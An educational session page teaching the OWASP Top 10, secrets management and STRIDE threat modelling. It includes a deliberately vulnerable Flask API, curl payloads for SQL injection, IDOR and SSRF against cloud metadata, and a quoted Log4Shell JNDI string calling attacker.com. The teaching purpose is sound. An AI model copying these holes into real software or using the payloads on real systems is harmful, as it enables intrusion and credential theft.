S083 · OWASP Top 10, Secrets Mgmt & Threat Modelling
The security bugs everyone ships (and the ones attackers exploit) — walk the OWASP Top 10 for 2021, wire up a real secrets manager, and threat-model a service in 30 minutes.
🎯 Recognise the ten most common security bugs, store secrets somewhere other than .env, and do a lightweight STRIDE threat model on a real service in under 30 minutes.
Why this session exists
Ninety percent of breaches you'll read about in the news are on this list — the OWASP Top 10 hasn't reshuffled dramatically in a decade, and yet the same bugs keep shipping. You do not need to be a security researcher to prevent them. You need a checklist you actually run before every merge, a secrets story that isn't "we put it in a .env file and hope," and a threat-modelling habit that takes 30 minutes and catches problems before they ship. This session gives you all three.
- Recite the 2021 OWASP Top 10 categories and give one real-world example of each.
- Distinguish authentication vs authorization failures, and design against both.
- Store secrets in a real manager (Vault / AWS Secrets Manager / Doppler) instead of .env.
- Run a STRIDE threat model on any service diagram in under 30 minutes.
- Wire up dependency scanning (Dependabot, Snyk, Trivy) into CI and interpret the noise.
Prerequisites
- S055 · HTTP fundamentals — you know how requests/responses work.
- S081 · Authentication vs authorization — you understand identity vs permission.
- S082 · TLS & PKI — you know how the transport layer is secured.
(a) Intuition · 5 min
A building inspector shows up with a checklist: are the exits unlocked? Is the sprinkler system pressurised? Are the fire extinguishers where they're supposed to be? They don't fight fires; they prevent them by refusing to let you occupy a building that would burn down.
Fire codes are boring, they're written after tragedies, and every item on the list is there because a specific building killed a specific number of people. Follow them and 90 % of fires never happen.
OWASP Top 10 is your fire code. It's the ten categories that cause 90 % of breaches, in order of prevalence, updated every 3-4 years based on real-world data from thousands of companies. Every item is there because a specific breach happened to a specific company — Equifax, Capital One, SolarWinds, T-Mobile.
You don't need to be a security researcher. You need to run the checklist before every merge and refuse to ship code that would burn down.
The two truths about application security
- The same 10 bugs cause almost all breaches. Complex attacks make the news; boring bugs cause the incidents. Injection has been in the top 3 since 2003.
- Security is a property of the whole system, not of any one line of code. A perfectly written login flow can still be compromised by a leaked API key, an over-privileged IAM role, or a vulnerable dependency.
A brief history of ‘getting owned’
- 1988Morris WormFirst internet-scale worm. Exploited a buffer overflow in fingerd. Took down 10 % of the ARPANET. Software security is born.
- 2003OWASP Top 10 v1First list published. Unvalidated input was #1. Injection still ranks in the top 3 twenty years later.
- 2013Target breach40M cards stolen via an HVAC vendor's compromised credentials. Supply-chain / third-party risk becomes a boardroom topic.
- 2017Equifax breach147M records leaked via an unpatched Apache Struts vulnerability. Dependency management stops being optional.
- 2020SolarWindsNation-state supply-chain attack — malicious update signed with a real certificate hit 18,000 orgs. Every ‘trusted vendor’ became a threat model.
- 2021Log4Shell (CVE-2021-44228)One JNDI lookup string, RCE on billions of Java servers. Weekend from hell for every SRE on the planet.
- 2021OWASP Top 10 v4Reshuffle: Broken Access Control jumps to #1 (was #5). Cryptographic Failures at #2. Injection drops to #3.
(b) Visual walkthrough · 15 min
The 2021 OWASP Top 10 — in one diagram
Each category, one sentence + one example
The Top 10, expanded
Threat modelling with STRIDE — the 30-minute version
Boxes = services/data stores. Arrows = data flows. Mark trust boundaries (public internet, VPC, k8s namespace).
‘Can an attacker Spoof / Tamper / Repudiate / Info-disclose / DoS / EoP against this?’ Write findings in a spreadsheet.
Risk = likelihood × impact. Focus on high/critical; medium can go in the backlog; low is noted but ignored.
Each finding gets a mitigation (or a documented accepted risk). Re-run STRIDE after major architecture changes.
Secrets management — three tiers
This is how leaks happen
- Secrets in Git history forever (rewrite ≠ deletion — check GitHub secret scanning).
- No rotation, no audit log, no revocation.
- Anyone with repo access has prod credentials.
- One leaked laptop = full breach.
- Real cost: $4.35M avg breach in 2022 (IBM).
GitHub Actions secrets, Vercel env vars
- Secrets injected at deploy time.
- Not in repo, but in the CI platform.
- Rotation still manual.
- Audit log is CI's log — okay.
- Fine for small apps. Not enough for regulated industries.
Vault, AWS Secrets Manager, Doppler, Infisical
- Secrets fetched at runtime via short-lived tokens.
- Automatic rotation (DB passwords, API keys).
- Fine-grained access policy per service.
- Full audit log of every read.
- Dynamic secrets — each pod gets a unique DB user that dies with the pod.
"I sanitise user input — I strip quotes, escape angle brackets, and reject suspicious strings at the API boundary. If nothing dangerous gets in, nothing dangerous can happen downstream."
Input sanitisation is the wrong primitive. Injection is not caused by dangerous input; it is caused by data being parsed as code by some interpreter downstream. The fix is context-correct output encoding or, better, never concatenating data into a grammar at all — parameterised queries for SQL, textContent for the DOM, argument arrays for shell. A single global sanitiser cannot be correct, because the escaping rules for SQL, HTML attributes, HTML text, JavaScript, URLs, LDAP, and shell are mutually incompatible.
The myth is sticky because it works the first time you try it. Blocking ' really does stop the textbook ' OR 1=1-- payload, so you get positive feedback and generalise. But you generalised from a blocklist, and blocklists fail for the same reason spam filters do: the attacker enumerates encodings you didn't think of — Unicode homoglyphs, double URL-encoding, alternate charsets, second-order injection where the payload is stored clean and only becomes dangerous when later concatenated into a different context. Meanwhile the sanitiser corrupts legitimate data: every developer named O'Brien has met this bug.
Prove the interpreter is the boundary, not the input. Same "dangerous" string, two code paths:
name = "Robert'); DROP TABLE students;--"
# concatenation: the DB parses your data as SQL grammar
cur.execute("SELECT * FROM students WHERE name = '" + name + "'")
# parameterised: driver sends query and data on separate channels
cur.execute("SELECT * FROM students WHERE name = %s", (name,))
# the second is safe with ZERO sanitisation -- the string was
# never eligible to be grammar in the first placeWhy is broken access control consistently at or near the top of the OWASP Top 10, above exotic memory and crypto bugs? It sounds like the least sophisticated category on the list. That is exactly why.
- 1Vulnerability classes with a fixed, mechanical shape can be eliminated by tooling. SQL injection is a grammar problem, so a parameterising driver removes it; XSS is an encoding problem, so an auto-escaping template engine removes it by default.forced by · a defect with a syntactic signature can be found by a scanner or prevented by an API that has no unsafe form
- 2Access control has no syntactic signature.
SELECT * FROM documents WHERE id = ?is a perfectly correct, parameterised, lint-clean query. Whether it is a vulnerability depends entirely on business intent that exists nowhere in the code.forced by · correctness is defined by a policy external to the program, not by the program's own structure - 3Therefore no static analyser, dependency scanner, or WAF can find it. It requires a human who knows who is supposed to see that row — and that knowledge lives in a product spec, not a type system.forced by · tools can only check invariants that are expressible in the artefact they analyse
- 4Worse, the failure is silent and returns HTTP 200. There is no exception, no log line, no crash, no failing test — because the test suite was written by someone querying their own data.forced by · the code did exactly what it was told; the instruction itself was incomplete
- 5And the check must be repeated at every access path — REST endpoint, GraphQL resolver, batch job, admin tool, export, cache warmer, new microservice. Every new path is a fresh chance to forget, and the surface grows monotonically with the codebase.forced by · authorization is a per-access-site obligation, and obligations that must be re-satisfied everywhere are eventually missed somewhere
Therefore broken access control tops the list not because it is hard to understand, but because it is the one class that is invisible to automation, silent in production, and re-introduced by every feature you ship.
And note what this predicts: the only durable fix must be structural rather than vigilance-based — push ownership into the data layer (row-level security, a repository that physically cannot construct a query without a tenant predicate, deny-by-default policy middleware) so that forgetting produces an error instead of a leak. Any defence whose mechanism is "developers will remember" scales exactly as well as human attention, which is to say: not at all.
Draw your system as a set of interpreters: the SQL engine, the browser's HTML parser, the shell, the YAML/XML/JSON deserialiser, the template renderer, the OS path resolver. Data flows between them. A vulnerability is simply data crossing into one of those interpreters in a position where it can be read as instructions instead of content.
Once you see it this way, the Top 10 collapses into three questions at every arrow: Who are you? (authn) · May you do this to this object? (authz) · Is this data being parsed by something? (injection, deserialisation, SSRF, path traversal). Nearly every entry on the list is one of those three, wearing a different hat.
- Never build a sentence in another language by concatenation. Use the API that separates code from data — parameters, argument arrays, DOM text nodes.
- Encode at the point of output, in the context of the destination. The same string needs different escaping in HTML text, an HTML attribute, a URL, and a JS string.
- Deny by default and enforce ownership in the data layer, so forgetting a check fails closed rather than open.
- Secure defaults over developer discipline: auto-escaping templates, ORMs that cannot concatenate, allowlists for outbound URLs (SSRF), and dependency scanning in CI — because vulnerable components are inherited, not written.
Fire this the moment you see: string concatenation building SQL, HTML, a shell command, or a file path · innerHTML or dangerouslySetInnerHTML · pickle.loads / yaml.load on untrusted bytes · a server-side fetch of a user-supplied URL · a sequential ID in a route · a "sanitise everything at the edge" middleware · error responses that leak stack traces or distinguish "wrong password" from "no such user".
You have limited security budget for an existing production service. Do you deploy a WAF, invest in secure-by-default frameworks and code changes, or fund detection and response?
Spend the primary budget on structural fixes, because they are the only ones that reduce the vulnerability count rather than the exploitation rate — and start with access control, since it is the class no tool will find for you. Use a WAF as a tactical instrument for virtual patching and legacy surface, never as a substitute, and be explicit with stakeholders that it does not cover the top OWASP category at all.
The genuinely senior framing: rank by your data and threat model, not by the published list order. A service handling per-tenant customer records should fund authorization hardening and detection long before it worries about exotic injection paths. The Top 10 is a checklist of shapes to recognise, not a prioritised roadmap for your particular system.
(c) Hands-on · 25 min
We're going to build a tiny vulnerable API, exploit it three ways, then fix it. Then wire in secrets from a manager instead of hard-coding.
# vuln_api.py — DELIBERATELY vulnerable. Never run on a public port.
# Educational only. All fixes shown in comments.
from flask import Flask, request, jsonify, g
import sqlite3, os, subprocess, requests
app = Flask(__name__)
DB = "app.db"
# --- setup: create a tiny DB with 2 users ---
def init_db():
conn = sqlite3.connect(DB)
conn.executescript("""
DROP TABLE IF EXISTS users;
CREATE TABLE users (id INT, name TEXT, email TEXT, is_admin INT);
INSERT INTO users VALUES
(1, 'alice', 'alice@example.com', 0),
(2, 'bob', 'bob@example.com', 1);
""")
conn.commit(); conn.close()
def db():
if "db" not in g:
g.db = sqlite3.connect(DB); g.db.row_factory = sqlite3.Row
return g.db
# ================================================================
# A03 — SQL INJECTION (deliberately vulnerable)
# ================================================================
@app.get("/user_bad")
def user_bad():
name = request.args.get("name", "")
# ❌ String concatenation → SQLi.
# Attack: /user_bad?name=' OR 1=1 --
q = f"SELECT id, name, email FROM users WHERE name = '{name}'"
rows = db().execute(q).fetchall()
return jsonify([dict(r) for r in rows])
@app.get("/user_good")
def user_good():
name = request.args.get("name", "")
# ✅ Parameterised query — driver escapes for us.
q = "SELECT id, name, email FROM users WHERE name = ?"
rows = db().execute(q, (name,)).fetchall()
return jsonify([dict(r) for r in rows])
# ================================================================
# A01 — BROKEN ACCESS CONTROL (IDOR)
# ================================================================
@app.get("/account/<int:uid>")
def account_bad(uid):
# ❌ No check that current user == uid. Attacker guesses IDs.
row = db().execute("SELECT * FROM users WHERE id = ?", (uid,)).fetchone()
return jsonify(dict(row)) if row else ("not found", 404)
@app.get("/account_good/<int:uid>")
def account_good(uid):
# ✅ Compare uid against authenticated identity (from JWT / session).
current_uid = int(request.headers.get("X-User-Id", "0")) # simplified
if current_uid != uid:
return ("forbidden", 403)
row = db().execute("SELECT * FROM users WHERE id = ?", (uid,)).fetchone()
return jsonify(dict(row)) if row else ("not found", 404)
# ================================================================
# A10 — SSRF
# ================================================================
@app.get("/fetch")
def fetch_bad():
url = request.args.get("url", "")
# ❌ Attacker points url at 169.254.169.254 → steals cloud metadata.
r = requests.get(url, timeout=5)
return r.text[:500]
# ✅ Fix: allowlist domains, or resolve DNS and reject private ranges,
# or use an outbound proxy that enforces the allowlist.
# ================================================================
# A02 — SECRETS: bad vs good
# ================================================================
# ❌ Hard-coded — will end up in Git.
API_KEY_BAD = "sk_live_51H8xVjKk7ZQ1mA2X_never_do_this"
# ✅ From environment (better) — for real apps, fetch from Vault at startup.
API_KEY = os.environ.get("PAYMENTS_API_KEY", "not-set")
@app.get("/health")
def health():
return jsonify(ok=True, api_key_loaded=(API_KEY != "not-set"))
if __name__ == "__main__":
init_db()
# Bind to localhost ONLY — this app is vulnerable by design.
app.run(host="127.0.0.1", port=5000, debug=False)Save this as vuln_api.py, then in another terminal:
# Terminal 2 — the attacker
BASE=http://127.0.0.1:5000
# A03 · SQL injection — leak all users
curl -s "$BASE/user_bad?name=' OR 1=1 --"
# Same attack on the good endpoint — returns []
curl -s "$BASE/user_good?name=' OR 1=1 --"
# A01 · IDOR — read Bob's admin account as anyone
curl -s "$BASE/account/2" # ❌ works, no auth
curl -s "$BASE/account_good/2" # ✅ 403 without X-User-Id: 2 header
curl -s -H "X-User-Id: 1" "$BASE/account_good/2" # ✅ still 403, different user
# A10 · SSRF — attempt to fetch AWS metadata (won't work locally, but you get the idea)
curl -s "$BASE/fetch?url=http://169.254.169.254/latest/meta-data/"What each block does
Anatomy of the vuln + fix pairs
Add a /login endpoint that accepts {username, password}, then add a rate limit of 5 attempts per minute per IP. Test it with a bash loop:
for i in $(seq 1 10); do
curl -s -X POST -d '{"u":"alice","p":"guess"}' -H "Content-Type: application/json" "$BASE/login"
doneThe first 5 should return 401 unauthorized, the next 5 should return 429 too many requests. That's how you prevent credential stuffing without adding a CAPTCHA everywhere.
(d) Production reality · 15 min
Attackers exploited CVE-2017-5638, a known Apache Struts vulnerability, on Equifax's public dispute portal. The CVE was published in March 2017 with a patch available the same day. Equifax's team was notified internally on 8 March. The unpatched server was breached on 13 May and the attackers had free run for 76 days before detection.
The attack was maximally boring: unpatched dependency (A06), no network segmentation (A05), and log volume overwhelmed the monitoring system (A09).
A former AWS engineer exploited an SSRF vulnerability in Capital One's web application firewall (WAF). The WAF ran on EC2 with an over-privileged IAM role. The attacker used the WAF to fetch http://169.254.169.254/latest/meta-data/iam/security-credentials/, got temporary IAM credentials, and used them to list and download S3 buckets containing customer data.
Two OWASP items at once: A10 (SSRF) + A05 (misconfigured IAM — the role had s3:List* across all buckets).
Apache Log4j 2.x had a JNDI lookup feature that would resolve strings like ${'{'}jndi:ldap://attacker.com/x{'}'} in logged messages by fetching Java class files from a remote LDAP server. Any string a user could get into a log line (User-Agent, form field, chat message) became remote code execution.
The bug had been in the code since 2013. Log4j is in ~7 % of all Java projects on Maven, transitively — meaning tens of thousands of enterprise products.
Two weeks of round-the-clock upgrades to Log4j 2.17.1. Emergency WAF rules to strip ${'{'}jndi:{'}'} patterns from every request. SBOMs (software bills of materials) went from niche compliance tool to industry requirement.
The checklist that actually catches things in code review
Where this shows up in the rest of the plan
(e) Recall + stretch · 10 min
Explain-out-loud test
If you can't teach these three without notes, redo the session:
- What are the top 3 OWASP categories, in order? (and one example of each)
- Where should you store a secret if not in .env? (and why)
- What's STRIDE, and when do you do a threat model? (short version — you should do it whenever architecture changes materially)
What comes next
Hub: The 6-Month Learning Plan
Part of a 130-session evergreen learning series. Session structure: intuition → visual → hands-on → production war stories → recall. Duration: 90 minutes.